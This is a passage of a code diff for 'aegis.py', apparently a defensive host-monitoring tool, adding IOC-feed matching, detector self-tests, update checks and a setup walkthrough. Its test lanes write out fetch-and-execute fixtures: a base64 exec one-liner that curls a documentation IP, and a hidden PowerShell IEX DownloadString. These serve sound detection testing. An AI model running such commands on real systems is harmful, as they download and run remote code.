ip:port pairs are + kept — the feed's domains/URLs are deliberately not written anywhere (the + scan computes nothing they could match, and the privacy posture is to + store nothing it doesn't use). Never raises on garbage shapes.""" + hashes, net = {}, {} + if isinstance(data, dict): + groups = list(data.values()) + elif isinstance(data, list): + groups = [data] + else: + return hashes, net + for group in groups: + if not isinstance(group, list): + continue + for row in group: + if not isinstance(row, dict): + continue + val, typ = row.get("ioc_value"), row.get("ioc_type") + if not isinstance(val, str) or not isinstance(typ, str): + continue + meta = {"family": _intel_str(row.get("malware_printable") + or row.get("malware")), + "first_seen": _intel_str(row.get("first_seen_utc"))} + if typ == "sha256_hash" and _looks_like_sha256(val) \ + and len(hashes) < INTEL_MAX_HASHES: + hashes[val.lower()] = meta + elif typ == "ip:port" and _looks_like_ip_port(val) \ + and len(net) < INTEL_MAX_NET: + net[val] = meta + return hashes, net + + +def _intel_sets(): + """The local IOC sets as (sha256→meta, "ip:port"→meta), each meta + {feed, family, first_seen}. Reads LOCAL artifacts only; absent files ⇒ + empty maps. Memoized on the files' (mtime, size) so one scan — and every + lap of cmd_watch's long-lived loop — pays two stat() calls rather than a + reparse, while a by-hand `intel update` is picked up on the very next + scan. Entry caps and key re-validation bound memory even against a + tampered oversize or hand-edited artifact.""" + global _INTEL_CACHE + stamp = [] + for path in (INTEL_BAZAAR_FILE, INTEL_THREATFOX_FILE): + try: + st = os.stat(path) + stamp.append((path, st.st_mtime_ns, st.st_size)) + except OSError: + stamp.append((path, None, None)) + stamp = tuple(stamp) + if _INTEL_CACHE is not None and _INTEL_CACHE[0] == stamp: + return _INTEL_CACHE[1], _INTEL_CACHE[2] + hashes, net = {}, {} + + def adopt(mapping, target, cap, valid, feed): + if not isinstance(mapping, dict): + return + for key, meta in mapping.items(): + if len(target) >= cap: + return + if not (isinstance(key, str) and valid(key)): + continue + meta = meta if isinstance(meta, dict) else {} + target[key.lower()] = { + "feed": feed, "family": _intel_str(meta.get("family")), + "first_seen": _intel_str(meta.get("first_seen"))} + + doc = load_json(INTEL_BAZAAR_FILE, None) + if isinstance(doc, dict) and isinstance(doc.get("hashes"), list): + for h in doc["hashes"][:INTEL_MAX_HASHES]: + if isinstance(h, str) and _looks_like_sha256(h): + hashes[h.lower()] = {"feed": "MalwareBazaar", "family": None, + "first_seen": None} + doc = load_json(INTEL_THREATFOX_FILE, None) + if isinstance(doc, dict): + # ThreatFox meta wins on overlap: it names the family. + adopt(doc.get("hashes"), hashes, INTEL_MAX_HASHES, + _looks_like_sha256, "ThreatFox") + adopt(doc.get("net"), net, INTEL_MAX_NET, + _looks_like_ip_port, "ThreatFox") + _INTEL_CACHE = (stamp, hashes, net) + return hashes, net + + +def _intel_hash_finding(sha, path, where): + if not sha: + return None + meta = _intel_sets()[0].get(str(sha).lower()) + if meta is None: + return None + return finding( + "CRITICAL", "intel", "Known-malware hash (community intel)", + "%s is byte-identical to a sample on the %s IOC feed (%s, first seen " + "%s) — found as %s. An exact corpus hash match is not a heuristic: " + "verify the file and quarantine it." + % (path or sha, meta["feed"], meta.get("family") or "family " + "unrecorded", meta.get("first_seen") or "n/a", where), + "intel:hash:%s:%s" % (sha, path or "?"), + path=path, sha256=sha, feed=meta["feed"], family=meta.get("family"), + first_seen=meta.get("first_seen"), confidence="high", + markers=["known-malware"]) + + +def _intel_net_finding(path, rip, rport): + net = _intel_sets()[1] + if not net: + return None + meta = net.get("%s:%s" % (rip, rport)) + if meta is None: + return None + return finding( + "CRITICAL", "intel", + "Outbound connection to a known C2 (community intel)", + "%s holds a live connection to %s:%s, which is on the %s C2/IOC list " + "(%s, first seen %s). A current connection to a catalogued C2 " + "endpoint is an active-compromise signal regardless of the binary's " + "signature." % (path, rip, rport, meta["feed"], + meta.get("family") or "family unrecorded", + meta.get("first_seen") or "n/a"), + "intel:net:%s:%s:%s" % (rip, rport, path), + path=path, program=path, remote=rip, port=rport, feed=meta["feed"], + family=meta.get("family"), first_seen=meta.get("first_seen"), + confidence="high", markers=["outbound-exfil", "known-c2"]) + + +def check_intel(current_snap, prior_findings=None): + """Grade the sha256 values THIS scan already computed — every persistence + record's program hash plus any finding that carries one (hot-dir drops, + app bundles) — against the local community sets. Nothing is re-hashed and + nothing new is read from the filesystem: this is a set lookup over work + the scan already did, scheduled by gather_all only when local intel + exists.""" + findings, seen = [], set() + + def grade(sha, path, where): + f = _intel_hash_finding(sha, path, where) + if f and f["fingerprint"] not in seen: + seen.add(f["fingerprint"]) + findings.append(f) + + for key, rec in sorted((current_snap or {}).items()): + if isinstance(rec, dict): + grade(rec.get("sha256"), rec.get("program") or key, + "persistence item %s" % (rec.get("label") or key)) + for prior in (prior_findings or []): + if isinstance(prior, dict) and prior.get("sha256"): + grade(prior.get("sha256"), prior.get("path"), + "flagged by the %s sensor" % prior.get("category", "?")) + return findings + + +def _intel_fetch(url): + """Transport for `intel update` ONLY. urllib is imported lazily HERE — + exactly like cmd_vt — so the scan path never even loads the networking + module. The request carries nothing about this machine.""" + import urllib.request # lazy: the scan path never imports urllib + req = urllib.request.Request(url, headers={"User-Agent": "aegis-intel"}) + with urllib.request.urlopen(req, timeout=60) as resp: + return resp.read(INTEL_MAX_FETCH_BYTES) + + +def _intel_bazaar_doc(raw): + hashes = _parse_bazaar_sha256_export(raw.decode("utf-8", "replace")) + if not hashes: + return None, None + doc = {"feed": "MalwareBazaar", "source": INTEL_BAZAAR_URL, + "fetched_at": now_iso(), "count": len(hashes), "hashes": hashes} + return doc, "%d sample hashes" % len(hashes) + + +def _intel_threatfox_doc(raw): + hashes, net = _parse_threatfox_export( + json.loads(raw.decode("utf-8", "replace"))) + if not hashes and not net: + return None, None + doc = {"feed": "ThreatFox", "source": INTEL_THREATFOX_URL, + "fetched_at": now_iso(), "hashes": hashes, "net": net} + return doc, "%d hashes, %d ip:ports" % (len(hashes), len(net)) + + +def cmd_intel(action="status"): + """OPT-IN community IOC layer. `update` is the by-hand fetch half; scans + then grade their OWN hashes and outbound rows against the local copy, + offline. Anything else prints status.""" + ensure_state() + if action == "update": + return _cmd_intel_update() + if action == "status": + return _cmd_intel_status() + print("usage: aegis.py intel [update|status]") + return 1 + + +def _cmd_intel_update(): + os.makedirs(INTEL_DIR, mode=0o700, exist_ok=True) + try: + os.chmod(INTEL_DIR, 0o700) + except OSError: + pass + print("# Aegis intel update — public abuse.ch IOC exports (by hand, " + "no key)") + failures = 0 + for name, url, path, build in ( + ("MalwareBazaar", INTEL_BAZAAR_URL, INTEL_BAZAAR_FILE, + _intel_bazaar_doc), + ("ThreatFox", INTEL_THREATFOX_URL, INTEL_THREATFOX_FILE, + _intel_threatfox_doc)): + try: + doc, desc = build(_intel_fetch(url)) + if doc is None: + # A fetch that "succeeds" but parses to nothing is a format + # change or a truncated body — either way, NOT a reason to + # clobber a good prior copy with an empty one. + raise ValueError("no usable entries parsed (truncated " + "download or a feed format change)") + save_json(path, doc) + print(" ✓ %-14s %s" % (name, desc)) + except Exception as e: + failures += 1 + prior = load_json(path, None) + print(" ✗ %-14s failed (%s)%s" % ( + name, e, + " — keeping the prior copy (fetched %s)" + % prior.get("fetched_at") if isinstance(prior, dict) + else "; no prior copy to fall back on")) + log_run("intel update: %d/2 feeds ok" % (2 - failures)) + return 1 if failures else 0 + + +def _cmd_intel_status(): + print("# Aegis intel — community IOC feeds (local copies; the scan " + "never fetches)") + fetched = False + for name, path in (("MalwareBazaar", INTEL_BAZAAR_FILE), + ("ThreatFox", INTEL_THREATFOX_FILE)): + doc = load_json(path, None) + if not isinstance(doc, dict): + print(" · %-14s not fetched" % name) + continue + fetched = True + age = (time.time() - _epoch(doc.get("fetched_at"))) / 86400.0 + if name == "MalwareBazaar": + counts = "%d sample hashes" % len(doc.get("hashes") or []) + else: + counts = "%d hashes, %d ip:ports" % ( + len(doc.get("hashes") or {}), len(doc.get("net") or {})) + stale = age > INTEL_STALE_DAYS + print(" %s %-14s %s, fetched %.1f days ago%s" + % ("✗" if stale else "✓", name, counts, age, + " — STALE (>%dd; run `aegis.py intel update`)" + % INTEL_STALE_DAYS if stale else "")) + if not fetched: + print(" Opt-in and by-hand: `aegis.py intel update` downloads two " + "public abuse.ch\n IOC exports; scans then grade their own " + "hashes and outbound ip:port rows\n against the local copy — " + "offline, nothing about this machine ever sent.") + return 0 + + +def _intel_summary(): + """One status-line cell for cmd_status: (mark, text).""" + docs = [d for d in (load_json(INTEL_BAZAAR_FILE, None), + load_json(INTEL_THREATFOX_FILE, None)) + if isinstance(d, dict)] + if not docs: + return "·", "none fetched (opt-in: aegis.py intel update)" + hashes, net = _intel_sets() + oldest = max((time.time() - _epoch(d.get("fetched_at"))) / 86400.0 + for d in docs) + if oldest > INTEL_STALE_DAYS: + return "✗", ("%d hashes / %d ip:ports, oldest fetch %.0f days ago — " + "STALE (>%dd; run aegis.py intel update)" + % (len(hashes), len(net), oldest, INTEL_STALE_DAYS)) + return "✓", ("%d hashes / %d ip:ports, oldest fetch %.1f days ago" + % (len(hashes), len(net), oldest)) + + def cmd_allow(path): ensure_state() allow = load_json(ALLOWLIST, []) @@ -13099,6 +14153,253 @@ def probe(): g["WRIT_FILE"] = real shutil.rmtree(d, ignore_errors=True) + # --- the surfaces added in this release -------------------------------- + # Five detectors shipped with no control at all. That is the same state the + # latch detector was in when it answered "unknown" forever: reachable- + # looking, permanently silent, and nothing failing. The both-poles rule + # above applies unchanged to every lane below — the benign pole is named in + # each docstring, because on these five surfaces it is the harder one. + + # Windows-shaped fixtures need Windows-shaped grading. Swapped for the + # duration of the two lanes below, UNCONDITIONALLY (including on Windows) + # so one control means the same thing on every host; the live tables keep + # their own lane (`risky-location`). + _WIN_ASSAY_FLAGS = { + "IS_WIN": True, + "TRUSTED_PREFIXES": ("C:\\Windows\\", "C:\\Program Files\\"), + "RISKY_PREFIXES": ("C:\\Users\\",), + } + + def _swap_win_flags(): + g = globals() + saved = {k: g[k] for k in _WIN_ASSAY_FLAGS} + g.update(_WIN_ASSAY_FLAGS) + return saved + + def lane_beacon_recurrence(nonce): + """Recurrence scores the beacon residue shape and stays silent on + browser churn, a short history, a short span, and a signed binary in an + ordinary path. + + The benign poles are the whole reason this detector exists as a + separate rung: outbound churn cannot be baseline-diffed because a + browser opens hundreds of connections, so recurrence keys on the + opposite invariant and MUST exclude the things that legitimately hold a + remote pair for hours. Pure over synthetic (ts, rows) snapshots — it + observes nothing, records nothing, and connects to nothing.""" + now = _epoch() + hot = "/nonexistent-assay-%s/updater" % nonce + risky = os.path.join(WIN_TEMP if IS_WIN else "/tmp", + "aegis-assay-%s" % nonce) + browser = "/nonexistent-assay-%s/Google Chrome" % nonce + + def hist(row, spans=(4200, 2100, 60)): + return [(now - s, [list(row)]) for s in spans] + + # Two hostile rows, one per arm of the gate: 'broken' is the single + # trust verdict suspicious_sig accepts on all three platforms, and the + # risky-path row proves the OR's other side with an ordinary signature. + for row in ((hot, "198.51.100.7", "8443", "broken"), + (risky, "198.51.100.7", "8443", "signed")): + out = _beacon_recurrence(hist(row), [row]) + if len(out) != 1 or out[0]["severity"] != "HIGH": + return False + bro = (browser, "198.51.100.7", "8443", "broken") + if _beacon_recurrence(hist(bro), [bro]) != []: + return False # a browser is excluded by NAME, not trust + row = (hot, "198.51.100.7", "8443", "broken") + if _beacon_recurrence(hist(row)[:2], [row]) != []: + return False # below BEACON_MIN_SCANS + if _beacon_recurrence(hist(row, (600, 300, 60)), [row]) != []: + return False # 3 scans, but inside one polling burst + quiet = ("/nonexistent-assay-%s/tool" % nonce, "198.51.100.7", + "8443", "signed") + if _beacon_recurrence(hist(quiet), [quiet]) != []: + return False # signed, ordinary path + return _beacon_recurrence(hist(row), []) == [] # not live now: silent + + def lane_argv_obfuscation(nonce): + """An interpreter handed a long decodable high-entropy blob scores, an + inline decode-and-execute composition scores, a fetching argv escalates + — and the benign shapes stay silent. + + Gate 1 (a real code-execution flag) is the benign pole that decides + whether this surface is usable at all: Electron helpers, JWT-bearing + cloud CLIs and hash-named cache paths carry giant opaque argv on an + ordinary machine, so entropy scored over any process would flag the + operator's own work. The stimulus is base64 of an INERT nonce-tagged + marker plus random bytes: it is built here rather than committed, and + it decodes to nothing that runs.""" + raw = b"AEGIS-ASSAY-INERT-" + nonce.encode() + os.urandom(80) + blob = base64.b64encode(raw).decode() + hostile = ('python3 -c "import base64;exec(base64.b64decode(\'%s\'))"' + % blob) + sig = dict(_argv_signals(hostile)) + if "obfuscated-inline-payload" not in sig: + return False # the long decodable blob itself + if "argv-encoded-loader" not in sig: + return False # decode composed with an exec sink + fetchy = ('python3 -c "import os,base64;os.system(\'curl -fsSL ' + 'http://198.51.100.7/%s\');exec(base64.b64decode(\'%s\'))"' + % (nonce, blob)) + if dict(_argv_signals(fetchy)).get( + "obfuscated-inline-payload") != "HIGH": + return False # an argv that also FETCHES escalates + for benign in ('python3 -c "print(1+1)"', + 'python3 -c "x=\'%s\'"' % ("a" * 160), + 'python3 -c "print(\'%s\')"' + % ("the gardener waters every single row of tomatoes " + "before dusk and the neighbours complain again"), + "/nonexistent-assay-%s/tool --token %s" + % (nonce, blob)): + if _argv_signals(benign): + return False # short code, low entropy, English, no gate + # Gate 1 asserted against the scorer directly: the same blob with no + # code-execution flag anywhere in argv must score nothing at all. + return _obfuscated_payload_signals("--token %s" % blob, set()) == [] + + def lane_intel_match(nonce): + """A hash and an ip:port on the local IOC sets grade CRITICAL; a + non-matching hash, a non-matching endpoint, and empty sets are silent. + + Runs against SYNTHETIC in-memory sets, with `_intel_sets` redirected + for the duration. A control that read the operator's real feed files + would prove nothing on a machine that never ran `intel update` and + would silently come to depend on whatever a feed published that day — + so this lane reads no file and makes no request.""" + g = globals() + real = g["_intel_sets"] + hit = hashlib.sha256(("aegis-assay-hit-" + nonce).encode()).hexdigest() + miss = hashlib.sha256( + ("aegis-assay-miss-" + nonce).encode()).hexdigest() + meta = {"feed": "assay", "family": "Assay.Inert", + "first_seen": "1970-01-01"} + try: + g["_intel_sets"] = lambda: ({hit: meta}, + {"198.51.100.7:8443": meta}) + label = "com.assay.%s" % nonce + snap = {label: {"program": "/nonexistent-assay-%s/x" % nonce, + "sha256": hit, "label": label}} + out = check_intel(snap) + if len(out) != 1 or out[0]["severity"] != "CRITICAL": + return False # a persistence record's own program hash + out = check_intel({}, [{ + "sha256": hit, "category": "hotdir", + "path": "/nonexistent-assay-%s/d" % nonce}]) + if len(out) != 1 or out[0]["severity"] != "CRITICAL": + return False # a hash another sensor already carried + net = _intel_net_finding("/nonexistent-assay-%s/x" % nonce, + "198.51.100.7", 8443) + if not net or net["severity"] != "CRITICAL": + return False # a live connection to a catalogued C2 + if check_intel({label: {"program": "/p", "sha256": miss}}) != []: + return False # a hash the sets do not carry + if _intel_net_finding("/p", "203.0.113.9", 443) is not None: + return False # an endpoint the sets do not carry + g["_intel_sets"] = lambda: ({}, {}) + return check_intel(snap) == [] # no local intel at all: inert + except Exception: + return False + finally: + g["_intel_sets"] = real + + def lane_win_evasion(nonce): + """The three Windows execute-hijack diffs score their hostile shapes + and stay silent on ordinary churn — on EVERY host. + + These diffs are pure over dicts, so gating the lane to Windows would + leave the author's macOS machine reporting coverage that was never once + exercised: exactly the asserted-rather-than-demonstrated state this + whole tier exists to expose. The benign poles are what keep the surface + readable — a COM registration into an admin-writable install tree is + ordinary app churn, and an entry already present at first sight is + adopted, not alerted.""" + saved = _swap_win_flags() + try: + clsid = "{018D5C66-4533-4307-9B53-224DE2ED1FE6}\\InprocServer32" + bad = "C:\\Users\\assay\\AppData\\Roaming\\assay-%s.dll" % nonce + good = "C:\\Program Files\\Vendor\\assay-%s.dll" % nonce + out = diff_com_hijack({}, {clsid: bad}) + if len(out) != 1 or out[0]["severity"] != "HIGH": + return False # new CLSID server in a user-writable path + out = diff_com_hijack({clsid: good}, {clsid: bad}) + if len(out) != 1 or out[0]["severity"] != "HIGH": + return False # the same CLSID repointed in place + if diff_com_hijack({}, {clsid: good}) != []: + return False # a Program Files target is app churn + if diff_com_hijack({clsid: bad}, {clsid: bad}) != []: + return False # adopted and unchanged + dbg = "C:\\Users\\assay\\assay-%s.exe" % nonce + out = diff_ifeo({}, {"debugger:sethc.exe": dbg}) + if len(out) != 1 or out[0]["severity"] != "CRITICAL": + return False # accessibility binary = pre-auth backdoor + out = diff_ifeo({}, {"debugger:notepad.exe": dbg}) + if len(out) != 1 or out[0]["severity"] != "HIGH": + return False # an ordinary target is HIGH, not CRITICAL + if diff_ifeo({"debugger:sethc.exe": dbg}, + {"debugger:sethc.exe": dbg}) != []: + return False # pre-existing entry, already adopted + ak = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows" + val = "assay-%s.dll" % nonce + out = diff_appinit({}, {ak: val}) + if len(out) != 1 or out[0]["severity"] != "HIGH": + return False # AppInit_DLLs is off by default + return diff_appinit({ak: val}, {ak: val}) == [] + except Exception: + return False + finally: + globals().update(saved) + + def lane_sysmon_scoring(nonce): + """Sysmon EID 1 and 6 scoring fires on the hostile fixtures and stays + silent on a validly-signed driver, a clean process in a trusted path, + and a stray event ID. + + Pure over the `log|id|time|message` rows the harvest already parses, so + it runs everywhere for the same reason the lane above does. EID 1 is + the high-volume channel Sysmon exists to produce, so 'can it fire' is + the cheap half — a scorer that reported every process creation would + pass a hostile-only control and bury the operator.""" + saved = _swap_win_flags() + try: + ch = _SYSMON_CHANNEL + cmd = ("powershell -nop -w hidden -c IEX(New-Object " + "Net.WebClient).DownloadString('http://198.51.100.7/%s')" + % nonce) + hostile = ("Image: C:\\Windows\\System32\\WindowsPowerShell\\v1.0" + "\\powershell.exe CommandLine: %s" % cmd) + out = _sysmon_findings([(ch, "1", "2026-01-01T00:00Z", hostile)]) + if len(out) != 1 or out[0]["severity"] != "HIGH": + return False # hostile idiom in the CommandLine + drop = ("Image: C:\\Users\\assay\\AppData\\Local\\Temp\\assay-%s" + ".exe CommandLine: assay-%s.exe --quiet" % (nonce, nonce)) + out = _sysmon_findings([(ch, "1", "t", drop)]) + if len(out) != 1 or out[0]["severity"] != "MEDIUM": + return False # risky-path exec with a clean argv + unsigned = ("ImageLoaded: C:\\Windows\\System32\\drivers\\assay-%s" + ".sys Signed: false SignatureStatus: Unavailable" + % nonce) + out = _sysmon_findings([(ch, "6", "t", unsigned)]) + if len(out) != 1 or out[0]["severity"] != "HIGH": + return False # ring-0 code with no vouching signature + clean = ("Image: C:\\Windows\\System32\\notepad.exe CommandLine: " + "notepad.exe C:\\Windows\\assay-%s.txt" % nonce) + if _sysmon_findings([(ch, "1", "t", clean)]) != []: + return False # signed-path binary, nothing in the argv + signed = ("ImageLoaded: C:\\Windows\\System32\\drivers\\vendor-%s" + ".sys Signed: true SignatureStatus: Valid" % nonce) + if _sysmon_findings([(ch, "6", "t", signed)]) != []: + return False # a validly-signed driver load is silent + if _sysmon_findings([(ch, "3", "t", hostile)]) != []: + return False # a stray EID must not fabricate a finding + # One event re-read in overlapping windows is ONE finding. + return len(_sysmon_findings([(ch, "6", "t", unsigned), + (ch, "6", "t2", unsigned)])) == 1 + except Exception: + return False + finally: + globals().update(saved) + return [ ("hostile-argv", "fetch-and-execute argv still scores hostile", lane_hostile_argv), @@ -13118,6 +14419,21 @@ def probe(): lane_glean_atoms), ("writ-enforcement", "writ escalates uncovered, adopts covered, off is inert", lane_writ_enforcement), + ("beacon-recurrence", + "outbound recurrence fires on beacon shape, not on browser churn", + lane_beacon_recurrence), + ("argv-obfuscation", + "obfuscated inline payload scores; plain and unflagged argv do not", + lane_argv_obfuscation), + ("intel-match", + "an IOC-set hash/endpoint is CRITICAL, a miss stays silent", + lane_intel_match), + ("win-evasion", + "COM/IFEO/AppInit hijack diffs fire, ordinary churn does not", + lane_win_evasion), + ("sysmon-scoring", + "Sysmon EID1/6 scoring fires; signed-and-trusted stays silent", + lane_sysmon_scoring), ("hostile-content", "shell-content grammar still matches", lane_hostile_content), ("risky-location", "volatile exec dirs still rate as risky", @@ -13624,6 +14940,17 @@ def _install_mac(runtime, mode, interval): ' ProgramArguments\n \n%s \n' '%s' ' RunAtLoad\n \n' + # Resource politeness, and not cosmetic: a full scan spawns many + # short-lived subprocesses for ~a minute, so an un-niced monitor is felt + # on a laptop. ThrottleInterval additionally bounds KeepAlive respawn in + # watch mode — without it a crash-looping watch is relaunched about once + # a second instead of every 30. install.sh has always written these + # four; this Python port dropped them, so the two installers disagreed + # while the README called them equivalent. + ' ProcessType\n Background\n' + ' LowPriorityIO\n \n' + ' Nice\n 10\n' + ' ThrottleInterval\n 30\n' ' StandardOutPath\n %s\n' ' StandardErrorPath\n %s\n' ' \n\n' @@ -13834,6 +15161,342 @@ def cmd_uninstall(): return 0 +# --------------------------------------------------------------------------- # +# update-check — the runtime copy silently stales behind the repo. +# +# `install` copies aegis.py to ~/.aegis/aegis.py and schedules THAT copy (the +# TCC reasoning is above _install_runtime_copy). The README warns "re-run +# install after editing aegis.py", but a warning nobody re-reads is not a +# control: every repo edit silently forks this file from what the background +# monitor actually executes. This makes the drift detectable — by hand here, +# and on every `doctor` run, where rot is supposed to surface. +# --------------------------------------------------------------------------- # + +def _runtime_copy_status(): + """Compare the INVOKED aegis.py against the installed runtime copy. + + Returns 'not-installed' (no runtime copy), 'self' (this IS the runtime + copy — nothing independent to compare), 'in-sync', 'drift', or 'unknown' + (hashing failed; never reported as clean).""" + src = os.path.realpath(_SELF_PATH) + if not os.path.exists(RUNTIME_SCRIPT): + return "not-installed" + if os.path.realpath(RUNTIME_SCRIPT) == src: + return "self" + a, b = sha256(src), sha256(RUNTIME_SCRIPT) + if not a or not b: + return "unknown" + return "in-sync" if a == b else "drift" + + +def _refresh_line(): + """The exact command that refreshes the runtime copy — preserving the + recorded install mode, so pasting it never silently downgrades a + watch-mode install to scan mode. Quoted for pasting as-is: the reference + machine's repo path contains both spaces and '&'.""" + mode = load_json(SELFSTATE, {}).get("install_mode") + py = sys.executable or "python3" + src = os.path.realpath(_SELF_PATH) + pair = ('"%s" "%s"' % (py, src) if IS_WIN + else "%s %s" % (shlex.quote(py), shlex.quote(src))) + return "%s install%s" % (pair, " watch" if mode == "watch" else "") + + +def _git_origin_url(repo_dir): + """`git remote get-url origin` for repo_dir, falling back to reading the + config file directly where git is not on run()'s restricted PATH + (Windows). One level of `gitdir:` indirection (worktrees) is followed.""" + out, _e, rc = run(["git", "-C", repo_dir, "remote", "get-url", "origin"], + timeout=15) + if rc == 0 and (out or "").strip(): + return (out or "").strip().splitlines()[0].strip() + gd = os.path.join(repo_dir, ".git") + try: + if os.path.isfile(gd): + with open(gd, encoding="utf-8") as f: + head = f.read().strip() + if not head.startswith("gitdir:"): + return None + gd = os.path.normpath(os.path.join( + repo_dir, head.split(":", 1)[1].strip())) + common = os.path.join(gd, "commondir") + if os.path.isfile(common): + with open(common, encoding="utf-8") as f: + gd = os.path.normpath(os.path.join(gd, f.read().strip())) + section = None + with open(os.path.join(gd, "config"), encoding="utf-8") as f: + for line in f: + s = line.strip() + if s.startswith("["): + section = s.lower() + elif (section == '[remote "origin"]' + and s.lower().startswith("url")): + _k, sep, v = s.partition("=") + if sep: + return v.strip() + except Exception: + pass + return None + + +def _github_raw_url(): + """Canonical GitHub raw URL for THIS file, derived from the invoked + checkout's `origin` remote. None when there is no GitHub origin — the + remote check refuses to guess a URL.""" + origin = _git_origin_url(os.path.dirname(os.path.realpath(_SELF_PATH))) + m = re.search(r"github\.com[:/]([\w.-]+)/([\w.-]+?)(?:\.git)?/?$", + origin or "") + if not m: + return None + return ("https://raw.githubusercontent.com/%s/%s/HEAD/aegis.py" + % (m.group(1), m.group(2))) + + +def cmd_update_check(remote=False): + """Is the installed runtime copy stale behind the invoked aegis.py? + Drift → exit 1 with the exact refresh command; in sync or not installed → + exit 0. `--remote` additionally compares this file against the repo's + canonical GitHub raw copy — a BY-HAND network call (lazy urllib, the `vt` + pattern); the scan path never reaches this code.""" + status = _runtime_copy_status() + rc = 0 + if status == "not-installed": + print("No runtime copy installed at %s — nothing to drift " + "(`aegis.py install` registers the background monitor)." + % RUNTIME_SCRIPT) + elif status == "self": + print("This IS the installed runtime copy (%s); run update-check " + "from the repo checkout to compare the two." % RUNTIME_SCRIPT) + elif status == "in-sync": + print("Runtime copy is in sync: %s matches this file (sha256)." + % RUNTIME_SCRIPT) + elif status == "unknown": + print("Could not hash both copies — drift is UNKNOWN, not clean " + "(check permissions on %s)." % RUNTIME_SCRIPT) + rc = 1 + else: # drift + print("STALE: %s does not match this file — the background monitor " + "is running OLD code.\nRefresh it:\n %s" + % (RUNTIME_SCRIPT, _refresh_line())) + rc = 1 + if not remote: + return rc + url = _github_raw_url() + if not url: + print("\n--remote: no GitHub `origin` remote found for %s — remote " + "comparison skipped rather than guessed." + % os.path.dirname(os.path.realpath(_SELF_PATH))) + return rc or 2 + print("\n--remote: fetching %s\n(the canonical copy of this file; that " + "URL is the ONLY request made, and nothing about this machine is " + "sent)" % url) + import urllib.request # lazy: only this by-hand flag branch loads networking + try: + with urllib.request.urlopen(url, timeout=20) as resp: + data = resp.read() + except Exception as e: + print("--remote: fetch failed (%s) — remote comparison is unknown, " + "not clean." % e) + return rc or 2 + local = sha256(os.path.realpath(_SELF_PATH)) + if local and hashlib.sha256(data).hexdigest() == local: + print("--remote: this file matches the GitHub HEAD copy.") + return rc + print("--remote: this file DIFFERS from the GitHub HEAD copy — local " + "edits, or the repo moved ahead (`git pull` in the checkout, then " + "re-run install).") + return 1 + + +# --------------------------------------------------------------------------- # +# setup — guided walkthrough of the OPT-IN tiers. +# +# The strongest defenses in this file (canary, latch, decoys, guard, the +# watchdog pairing, the off-host heartbeat) are opt-in and therefore DORMANT +# on most installs — a documented tier nobody turned on protects nobody. +# `setup` walks them once: one honest sentence of benefit-and-cost each, +# default No. It ORCHESTRATES the existing commands and never reimplements +# one — a yes runs exactly what typing the individual command would have run, +# so there is no second code path to drift. Idempotent: a tier already on is +# detected from the same state the status/scan paths read, shown as enabled, +# and skipped. +# --------------------------------------------------------------------------- # + +def _setup_stdio_is_interactive(): + """setup's tty gate, split out so the suite can drive the walkthrough with + a scripted harness. This is a UX refusal (a walkthrough nobody is reading + is cron-log noise), NOT a security gate: everything setup can invoke is an + ordinary by-hand command a script could already call directly. The gate + that must resist automation (`unlatch`) keeps its own out-of-band + challenge regardless of how it is reached.""" + try: + return sys.stdin.isatty() and sys.stdout.isatty() + except Exception: + return False + + +def _ask_yn(question): + """One y/n prompt, default No; EOF/interrupt is No (opt-IN means opt-in).""" + try: + return input("%s [y/N] " % question).strip().lower() in ("y", "yes") + except (EOFError, KeyboardInterrupt): + print() + return False + + +def _ask_line(prompt): + try: + return input(prompt).strip() + except (EOFError, KeyboardInterrupt): + print() + return "" + + +def cmd_setup(): + """Guided, idempotent walkthrough of the opt-in tiers (block comment + above). Refuses a non-tty caller with the same posture as unlatch.""" + if not _setup_stdio_is_interactive(): + print("refuse: setup is an interactive walkthrough and needs a real " + "terminal — run it from a shell, not a script.") + return 1 + ensure_state() + print("# Aegis setup — the opt-in tiers, one honest question each.\n" + "# Everything below is OFF by default and stays off unless you say " + "yes;\n# each yes runs exactly the command you could type yourself, " + "nothing more.\n") + + st = load_json(SELFSTATE, {}) + if st.get("installed"): + print("[enabled] background monitor — installed (%s mode)." + % (st.get("install_mode") or "scan")) + else: + print("Background monitor: registers a scheduled `scan` for this OS " + "(launchd / systemd --user / Task Scheduler); costs one " + "background job and a few seconds of CPU per interval.") + if _ask_yn(" install the background monitor?"): + watch = _ask_yn(" use watch mode (change-driven; rescans within " + "seconds of a file touch, full scan as a floor)?") + mode = "watch" if watch else "scan" + raw = _ask_line(" full-scan interval in seconds [default %d]: " + % (600 if watch else 3600)) + cmd_install(mode, int(raw) if raw.isdigit() else None) + + if load_json(CANARY_STATE, {}): + print("[enabled] canary files — planted " + "(`aegis.py canary remove` removes them).") + else: + print("Canary files: hidden tripwires in your user dirs whose " + "modification or deletion alerts CRITICAL (a near-zero-false-" + "positive ransomware signal); costs a few hidden files.") + if _ask_yn(" plant canary files?"): + cmd_canary("plant") + + if load_json(LATCH_FILE, {}): + print("[enabled] latch — persistence surfaces are pre-claimed " + "(`aegis.py latch status`).") + else: + print("Latch: pre-claims the persistence surfaces so a dropper's " + "write FAILS (%s); costs running `aegis.py unlatch ` " + "before a legitimate installer may write there." + % ("chflags uchg" if IS_MAC else "a deny-write ACE" if IS_WIN + else "a mode change — a labelled speed bump on Linux")) + if _ask_yn(" latch the persistence surfaces?"): + cmd_latch("on") + + # Decoys are a POSIX FIFO mechanism; on Windows the surface is absent + # (not degraded), so the walkthrough says nothing about it there. + if hasattr(os, "mkfifo"): + if load_json(DECOY_FILE, {}): + print("[enabled] decoys — FIFO honeytokens planted " + "(`aegis.py decoy remove` removes them).") + else: + print("Decoys: FIFO honeytokens at credential-shaped paths " + "(~/.aws, ~/.ssh) where ANY read is an attacker by " + "construction; costs three fake dotfiles.") + if _ask_yn(" plant credential decoys?"): + cmd_decoy("plant") + + if os.path.isfile(_guard_paths()[0]): + print("[enabled] guard — installed (observe-only; `aegis.py guard " + "status` shows what it has seen).") + else: + print("Guard: an OBSERVE-ONLY pre-exec hook that learns pasted-vs-" + "typed from your shell's bracketed paste (the ClickFix shape); " + "costs one line you add to your rc file yourself — it refuses " + "nothing and Aegis never edits your rc.") + if _ask_yn(" write the guard hook files?"): + cmd_guard("install") + + # Explained, not performed: a watchdog the monitor registers for itself + # dies with it, which is precisely the failure it exists to see. + print("\nDead-man's switch: schedule `aegis.py watchdog` from a SECOND, " + "independent agent/cron/task so a killed or booted-out monitor " + "raises an alarm. Aegis will not register its own watchdog — one " + "that dies with its monitor is theater.") + + if _heartbeat_url(): + print("[enabled] off-host heartbeat — configured (the one background " + "egress; a small redacted beat per 